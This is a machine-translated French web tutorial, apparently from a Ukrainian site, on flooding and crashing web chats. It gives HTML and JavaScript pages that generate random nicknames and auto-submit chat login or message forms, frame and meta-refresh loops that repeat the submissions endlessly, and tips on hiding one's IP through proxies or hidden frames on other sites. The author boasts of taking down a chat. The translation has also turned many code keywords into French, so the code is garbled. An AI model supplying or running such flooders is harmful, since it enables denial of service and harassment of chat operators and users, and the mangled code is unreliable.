This page has been robot translated, sorry for typos if any. Original content here.

Anti-chat ou pseudo partie 1

Continuer >>>


Toujours sur le thème de la FA, nous avons décidé d’écrire un autre article, qui correspond maintenant exactement à son titre. Attention: utilisez-le uniquement pour lutter contre les administrateurs "givrés" qui, par manque d’inactivité ou pour montrer leurs capacités, sont exclus du chat pour une raison quelconque, même sans ce dernier. N'utilisez pas cet outil dans les salles de discussion, où ils vous empêchent de communiquer normalement, car vous ne laisserez personne parler , car un nombre impressionnant de "personnes" différentes entreront dans le chat et il y en aura tellement qu'il sera impossible d'exprimer dans le chat ... En d'autres termes, il s'agit de "Nick Flooding" ou de remplir le chat avec des visiteurs inexistants.

Nous économisons sur la page de démarrage.
Pour le mettre en œuvre, vous aurez besoin d’un chat avec un identifiant sans inscription et aussi un peu de connaissance du langage HTML (du moins, de quoi il s’agit). Enregistrez la page de démarrage du chat, c'est l'endroit où il est écrit "Entrez votre pseudo"

Code comme ça

<html> <body> ......................

<FORM action = /cgi-bin/chat/login.cgi method = post name = "chat_x" > - le chemin où les données sont envoyées
Entrez votre pseudo: <type d'entrée = nom du texte = Nick > - Le pseudo est entré ici
<INPUT name = type de couleur = valeur cachée = rouge> - paint
<INPUT type = submit value = "Start !!!" > - bouton

..................... </ html> </ body>

Et voici à quoi cela ressemble dans le navigateur: Entrez votre pseudo

Si vous avez une page de démarrage chargée sous forme de cadres, c’est-à-dire Vous pouvez déjà voir les messages, le bas dit "Entrez votre pseudo" (généralement c'est la trame la plus basse), vous devriez cliquer ici (ci-dessous) avec le bouton droit et aussi sélectionner "Voir en HTML", vous verrez aussi que dans le cas principal il est possible que le code devienne plus compliqué.

si vous savez comment utiliser la discussion à partir du disque également dans cette discussion, le code de la trame inférieure, après la première phrase, commence à avoir les éléments suivants:

<html> <body> ......................

<Action FORM = / cgi-bin / chat / login.cgi method = post name = "chat_x" > - le chemin où les données sont envoyées
<type d'entrée = nom caché = valeur Nick = votre pseudo> - pseudo (il ne peut pas être vu)
<Nom de l'entrée = couleur type = valeur cachée = rouge> - couleur
Entrez la phrase <TYPE D'ENTRÉE = TEXTE nom = dire taille = "24"> - le champ de saisie de phrase
<INPUT type = submit value = "Say !!!" >

..................... </ html> </ body>

Si ce chat se trouve sur http://www.domen.ru, alors dans la ligne <action FORM = =cgi-bin/chat/login.cgi = post name = " chat_x ">, nous prescrivons également cette adresse: <action FORM = http://www.domen.ru/cgi-bin/chat/login.cgi method = post name = "chat_x"> maintenant nous courons ce fichier, nous en sortons aussi dans le chat, name = " chat_x " peut être absent, alors que temps imparti pour l'ajouter vous-même. Au lieu de chat_x, il peut également être appelé par l'autre. Si vous parvenez à entrer dans la discussion à partir de ce fichier, passez à l'élément suivant.

La première astuce: générer un "Chat Visiteurs"

Si nous utilisons un pseudo pour nos besoins, il ne sera en aucun cas étiré de plus de 2-3 phrases ... sera jeté. Il est donc nécessaire que le pseudo prkticheski soit toujours différent. Le script Java nous y aidera (vous n’avez pas besoin de le savoir, remplacez simplement vos chiffres) Math.floor (Math.random () * 100000000)

Un exemple est autorisé à voir en cliquant sur le bouton:


Explication: L'objet mathématique Math: Math.random () génère un nombre compris entre 0 et 1, puis ce nombre est arrondi à l'aide de Math.floor () et doit être multiplié par 10 par exemple, tandis que le nombre compris entre 0 et 9, si multiplié par 100, puis jusqu'à 99, si multiplié par 1000, puis jusqu'à 999 également. c'est-à-dire la longueur du nombre résultant est inférieure ou égale au nombre de zéros, y compris celui qui a été multiplié ... la crêpe était déjà confuse Souriez heureux )) Dans l'exemple (voir ci-dessous), ce nombre est 100000000 causant que nous obtenons un nombre aléatoire, ce sera un surnom ...
Pour que ce numéro tienne dans la forme d’un surnom, placez-le dans la page autoload, c.-à-d. dans la balise <body> plus tard, il se révélera: <body onload = "document. chat_x . nick .value = (Math.floor (Math.random () * 1000000)) "> s'occupe du nom du formulaire (voir l'exemple de code html ci-dessus, elle est surlignée en jaune), cela est nécessaire pour qu’un nombre aléatoire s’intègre dans la forme souhaitée également dans le champ souhaité.

Une autre puce: nous envoyons des "visiteurs" au chat.

<script Language = "JavaScript">
fonction submit () {
Timer = setTimeout ("(document. Chat_x . Soumettre ())", 1000);
}
</ script>

Ce script est comme "clique" sur le bouton "Soumettre" et envoie les données du formulaire appelé chat_x. Dans le chat, ce bouton peut être appelé "Entrer dans le chat" ou "Dire", il agit avec un délai de 1000 ms, afin que vous puissiez d'abord voir ce qui a été chargé (plus tard vous pouvez mettre 100), mais ensuite les données sont automatiquement envoyées, mais pour cela il est nécessaire d’enregistrer la fonction submit (send ) au chargement automatique de notre page, c.-à-d. la balise <body onload = "document.chat_x.nick.value = (Math.floor (Math.random () * 1000000));; submit () "> charge maintenant un nombre aléatoire lorsque la page est chargée, puis elle est écrite dans le formulaire chat_x champ nick. aussi les données du formulaire chat_x envoyé au serveur, il s’avère que des personnes avec un pseudo sous la forme de plusieurs numéros sont entrées dans le chat.

Un exemple d'inondateur de discussion non sophistiqué en code html

<HTML> <HEAD> <TITLE> Inondateur de conversation </ TITLE>

<script Language = "JavaScript">
fonction submit () {
Timer = setTimeout ("(document. Chat_x . Soumettre ())", 1000);
}
</ script>

</ Head>
<BODY bgColor = # 000066 onload = "document. Chat_x . Nick . Value = (Math.floor (Math.random () * 1000000)); submit ()">

<Action FORM = http: //www.domen.ru/cgi-bin/chat/chat.cgi, méthode = post name = " chat_x ">
<nom d'entrée = type de couleur = valeur cachée = rouge>
Nick: <nom d'entrée = type de pseudo = texte>
<INPUT type = submit value = " Start !!! ">
</ Body> </ html>

La dernière ... inondation personnelle

Pour ce faire, mangez de trois façons.

1. Créez un fichier contenant une paire de cadres, dans un fichier, qui lors du chargement crée un pseudonyme, l'envoie également au chat. Appelons-le forma.htm, mais dans un autre cadre, tout autre fichier, dans mon exemple, il s'agit de yo.htm. Et enregistrez-le sous le nom frames.htm. Le code de ce document sera:

Contenu de frames.htm

<html> <head> <title> Flooder Chat </ title> </ head>
<frameset rows = "*, 100">
<frame name = "main" src = " forma.htm ">
<frame name = " send " src = " yo.htm ">
<noframes> <body>
<p> Cette page utilise des cadres. </ p>
</ body> </ noframes> </ frameset>

J'ai spécifiquement choisi le nom du cadre d' envoi , car les données lui seront envoyées, de sorte que le fichier forma.htm ne puisse pas être déchargé après l'envoi. Dans le code forma.htm, nous ajoutons les éléments suivants: dans la <FORM action = ..... tag = target = " send "> et dans la source de la ligne d'acte: <meta http-equiv = "Refresh" content = "1"> afin que le fichier lui-même mis à jour toutes les secondes et définissez Minuterie = 0. Ce qui est arrivé: le fichier est également mis à jour et envoyé au chat du visiteur, il est visible dans le cadre avec le nom SEND ie. à la place du fichier yo.htm, le chat apparaît, puis forma.htm est également mis à jour, il envoie à nouveau le nouveau sourcil au chat, le chat récemment créé est également mis à jour à nouveau, le chat arrive ... tellement, à l'infini :) La fréquence de mise à jour est définie en fonction de la vitesse de connexion.

Exemple de contenu forma.htm

<Html>
<HEAD> <TITLE> Inondateur de conversation </ TITLE>
<meta http-equiv = "Refresh" content = " 1 ">
<script Language = "JavaScript">
fonction submit () {
Timer = setTimeout ("(document. Chat_x . Soumettre ())", 0 );
}
</ script>

</ Head>
<BODY bgColor = # 000066 onload = "document. Chat_x . Nick . Value = (Math.floor (Math.random () * 1000000)); submit ()">

<Action FORM = http: //www.domen.ru/cgi-bin/chat/chat.cgi, méthode = post name = " chat_x " target = " send ">
<nom d'entrée = type de couleur = valeur cachée = rouge>
Nick: <nom d'entrée = type de pseudo = texte>
<nom d'entrée = mot de passe type = valeur cachée = "">
<INPUT type = submit value = " Start !!! ">
</ Body> </ html>

2 voies. Premièrement, nous créons 4 fichiers qui diffèrent seulement par le retard lors de l’envoi d’un fichier image dans lequel il y aura par exemple 16 (!) Images, dans les quatre premiers le premier fichier, qui contient Timer = setTimeout ("(document.chat_x.submit ())", 1000 ) Dans les quatre autres cadres, le deuxième fichier est chargé, dans lequel le retard est de 10 000. Dans le troisième, 30 000. Eh bien, mais dans le quatrième, le quatrième fichier est chargé avec un retard de 40 000, c.-à-d. Toutes les 10 000 ms, 4 "personnes" entrent dans le chat et elles seront toutes différentes, bien qu'elles se présentent sous la forme de chiffres, mais c'est un foutoir ... Si vous avez utilisé le formulaire de connexion dans le chat, ils vont tous "entrer" dans le chat, mais si vous envoyez le message, il est permis de saisir un paragraphe de texte sous forme de message, à ce moment-là chaque surnom généré parlera ... Essayez, essayez d'autres options avec des cadres ...

Il ne reste plus qu'à cacher votre IP, pour cela vous pouvez utiliser A4Proxy , composer une grande liste de serveurs ....

3 voies. si vous mangez le site, il est autorisé à placer ces fichiers dessus, par exemple dans un cadre caché, alors que l'adresse IP sera presque toujours différente ...

Chat valim :)

Les bavardoirs utilisant le système de privates sont agencés de manière à rester constamment en contact avec l'ordinateur de l'utilisateur, c'est-à-dire ils génèrent constamment un flux de messages pour lui, ils ne contrôlent pas s'il s'est déconnecté de quelque manière que ce soit, même si la communauté d'utilisateurs en fait beaucoup, le chat ne peut pas résister à la «chute» non plus. Nous venions tout juste de discuter avec un maximum de 70 personnes, puis de cesser de fonctionner, même si la page de démarrage était également chargée ... Il n’était pas difficile de mettre un tel chat "manuellement", il était nécessaire de créer un fichier qui génère des pseudonymes, de les envoyer à chat, une minute après le lancement de ce fichier, dans le chat avec le 23ème existant, a ajouté environ 50 personnes :) ) il est également tombé (j'ai utilisé un fichier d'une variété de cadres, dans lequel il y avait aussi un fichier bla bla). Et il est à noter que nous étions au club mais qu'il y a une vitesse impressionnante et des ordinateurs puissants :) . Il peut également fonctionner avec un modem (par exemple, s’engager tout de suite) ou l’essayer par vous-même d’abord, je ne sais pas du tout ... N'oubliez pas que les journaux des discussions sont également consignés par les administrateurs, après quoi vous voudrez peut-être savoir ce que c'était. :) L'accès depuis l'adresse IP du club Internet "GeForce" à ce chat est fermé :)

FAQ: Si ça ne marche pas

FlooDer : Rien ne fonctionne pour moi :)
Essayez d’abord d’entrer le chat à partir du disque, c.-à-d. à partir du formulaire de saisie sauvegardé sur la vis, si tout fonctionne, cela signifie une erreur dans le code "inondation de script" :) si cela n’a pas marché, lisez la suite ...

FlooDer : Je viens du disque, maintenant je ne peux plus envoyer de données :) que faire?
Vérifier l'exactitude du nom du formulaire (name = XxXxX)

FlooDer : Dans la <FORM action = http: //www.***.ru/chat.cgi, méthode = post> ligne commune no name = "XxXxX" , que faire?
Insérez vous-même: (name = "chat_x" target = "send") target- pour que les données soient envoyées au cadre d'envoi, le résultat est le suivant: <FORM action = http: //www.***.ru/chat.cgi method = post name = "chat_x" target = "send ">

FlooDer: Lorsque vous entrez dans le chat, vous devez entrer un mot de passe. Si tous les pseudonymes ne sont pas enregistrés, comment les saisir dans le code?
Dans le formulaire de saisie du mot de passe, il faut ajouter: value = "abrakadabra" puis tous les "utilisateurs" générés entreront avec ce mot de passe

Continuer >>>

Il ne serait pas superflu que vos amis découvrent cette information, partagez l'article avec eux!

Développer / Réduire Développer / Réduire la fenêtre de commentaires

Commentaires

En commentant, rappelez-vous que le contenu et le ton de votre message peuvent blesser les sentiments de personnes réelles, faire preuve de respect et de tolérance envers vos interlocuteurs même si vous ne partagez pas leur opinion, votre comportement dans des conditions de liberté d'expression et d'anonymat fournies par Internet change non seulement virtuel, mais aussi le monde réel. Tous les commentaires sont cachés de l'index, le spam est contrôlé.
Maintenant tout le monde peut publier des articles.
Essayez-le d'abord!
Écrire un article
Vous aimez ça? Abonnez-vous aux flux RSS,
être le premier à recevoir des informations
à propos de tous les événements importants du pays et du monde.
Vous pouvez également soutenir shram.kiev.ua, cliquez sur: